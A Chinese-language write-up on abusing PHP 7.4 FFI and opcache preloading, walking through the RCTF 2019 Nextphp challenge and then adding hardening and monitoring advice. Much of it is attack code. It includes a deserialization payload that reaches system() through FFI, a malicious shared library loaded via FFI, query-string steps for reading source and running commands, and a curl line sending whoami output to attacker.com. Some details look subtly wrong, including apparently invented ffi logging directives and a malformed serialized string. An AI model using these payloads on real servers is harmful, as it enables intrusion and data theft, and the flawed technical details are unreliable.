PHP 7.4 FFI与预加载机制的安全攻防实战

1. 新特性带来的安全挑战

PHP 7.4引入的FFI（Foreign Function Interface）和预加载机制（opcache.preload）为开发者提供了强大的系统级交互能力，同时也带来了前所未有的安全风险。这两个特性原本的设计目的是：

• FFI：允许PHP直接调用C语言编写的库函数，突破传统PHP环境的限制
• 预加载：将常用类预先加载到内存，显著提升应用性能

但当它们组合使用时，却可能形成危险的"漏洞组合拳"。在RCTF 2019的Nextphp赛题中，就展示了如何利用这两个特性实现：

1. 绕过disable_functions限制
2. 突破open_basedir约束
3. 执行任意系统命令

2. 漏洞原理深度解析

2.1 FFI的工作机制

FFI扩展允许PHP直接声明和调用C函数、使用C数据类型。其基本使用模式如下：

$ffi = FFI::cdef(" int system(const char *command); ", "libc.so.6"); $ffi->system("id > /tmp/test"); // 执行系统命令

安全风险点：

• 直接暴露系统调用接口
• 不受PHP安全限制（如disable_functions）约束
• 可加载任意.so动态库

2.2 预加载机制的特性

opcache.preload指定的脚本会在PHP启动时自动加载，其特点包括：

• 预加载的类在所有请求间共享
• 预加载阶段可执行任意代码
• 运行时无法修改预加载的类

典型配置示例：

opcache.preload=/var/www/html/preload.php

2.3 危险组合的成因

当同时启用FFI和预加载时，攻击者可构造特殊序列化数据，通过预加载类中的反序列化操作触发FFI调用。由于预加载脚本拥有更高权限，可以绕过常规安全限制。

3. 三种高危配置场景分析

3.1 场景一：FFI+预加载+反序列化

配置特征：

• FFI扩展启用
• 预加载脚本包含可序列化类
• 存在反序列化入口

攻击步骤：

1. 构造恶意序列化数据，指定FFI::cdef为回调函数
2. 通过反序列化触发预加载类的方法
3. 执行系统命令

class Exploit { protected $data = [ 'func' => 'FFI::cdef', 'arg' => 'int system(const char *cmd);' ]; public function __wakeup() { ($this->data['func'])($this->data['arg']); } }

3.2 场景二：预加载脚本文件上传

配置特征：

• 预加载路径可被控制
• 存在文件上传功能
• 服务器重启频繁

利用方式：

1. 上传恶意preload.php文件
2. 等待服务器重启加载
3. 预加载脚本中的恶意代码获得持久化执行权限

3.3 场景三：FFI扩展+LD_PRELOAD劫持

特殊条件：

• FFI允许加载自定义.so
• 可设置环境变量

攻击链：

# 编译恶意库 echo 'void _init() { system("id > /tmp/pwned"); }' > evil.c gcc -shared -fPIC -o evil.so evil.c # 通过FFI加载 $ffi = FFI::cdef("", "./evil.so");

4. 防御方案与最佳实践

4.1 配置加固建议

4.2 代码层防护

输入验证示例：

function safe_unserialize($data) { $allowed_classes = ['SafeClassA', 'SafeClassB']; return unserialize($data, ['allowed_classes' => $allowed_classes]); }

FFI白名单方案：

class RestrictedFFI { private static $allowed_functions = [ 'time' => 'int time(void);' ]; public static function call($func_name) { if (!isset(self::$allowed_functions[$func_name])) { throw new Exception("Function not allowed"); } $ffi = FFI::cdef(self::$allowed_functions[$func_name]); return $ffi->$func_name(); } }

4.3 监控与检测

可疑行为监测点：

• 异常的FFI::cdef调用
• 预加载脚本被修改
• 反序列化操作中的可疑类

审计日志示例配置：

; 记录所有FFI调用 ffi.log_level=debug ffi.log_file=/var/log/php_ffi.log ; 监控预加载过程 opcache.log_verbosity_level=2 opcache.error_log=/var/log/php_opcache.log

5. 实战案例：Nextphp漏洞复现

5.1 环境搭建

使用Docker快速搭建漏洞环境：

docker run -d -p 8080:80 --name nextphp \ -e PHP_OPCACHE_PRELOAD=/var/www/html/preload.php \ -e PHP_FFI_ENABLE=true \ vulhub/php:7.4-nextphp

5.2 漏洞利用步骤

1. 识别预加载脚本位置

// 探测当前目录 ?a=print_r(scandir('.'));

2. 读取preload.php源码

// 使用过滤器绕过限制 ?a=include('php://filter/read=convert.base64-encode/resource=preload.php');

3. 构造恶意序列化数据

class Exploit { protected $data = [ 'ret' => null, 'func' => 'FFI::cdef', 'arg' => 'int system(const char *cmd);' ]; public function __wakeup() { $this->data['ret'] = ($this->data['func'])($this->data['arg']); } }

4. 执行任意命令

// 最终payload示例 ?a=$a=unserialize('O:7:"Exploit":1:{s:4:"data";a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:28:"int system(const char *cmd);";}}'); $a->data['ret']->system('id');

5.3 防护绕过技巧

无回显场景下的数据外带：

// 使用DNS外带数据 $a->data['ret']->system('curl -d `whoami`.attacker.com');

受限环境下的替代方案：

// 通过写入文件然后包含 $a->data['ret']->system('echo "<?php phpinfo();" > /tmp/poc.php'); include('/tmp/poc.php');

6. 高级防御技术

6.1 基于eBPF的运行时防护

监控危险的PHP函数调用链：

// eBPF程序示例 SEC("tracepoint/syscalls/sys_enter_execve") int bpf_prog(void *ctx) { char comm[16]; bpf_get_current_comm(&comm, sizeof(comm)); if (memcmp(comm, "php-fpm", 7) == 0) { bpf_printk("PHP attempting execve"); return -EPERM; } return 0; }

6.2 基于PTRACE的系统调用拦截

import ptrace def trace_syscall(pid): while True: ptrace.syscall(pid) regs = ptrace.getregs(pid) if regs.orig_rax == 59: # execve print(f"Blocking execve attempt by PID {pid}") ptrace.setregs(pid, orig_rax=-1)

6.3 PHP扩展层防护

开发自定义SAPI扩展：

PHP_FUNCTION(safe_ffi) { zend_string *def, *lib; if (zend_parse_parameters(ZEND_NUM_ARGS(), "SS", &def, &lib) == FAILURE) { RETURN_FALSE; } if (strstr(ZSTR_VAL(def), "system") != NULL) { zend_error(E_WARNING, "Dangerous FFI definition blocked"); RETURN_FALSE; } // 调用原始FFI函数 // ... }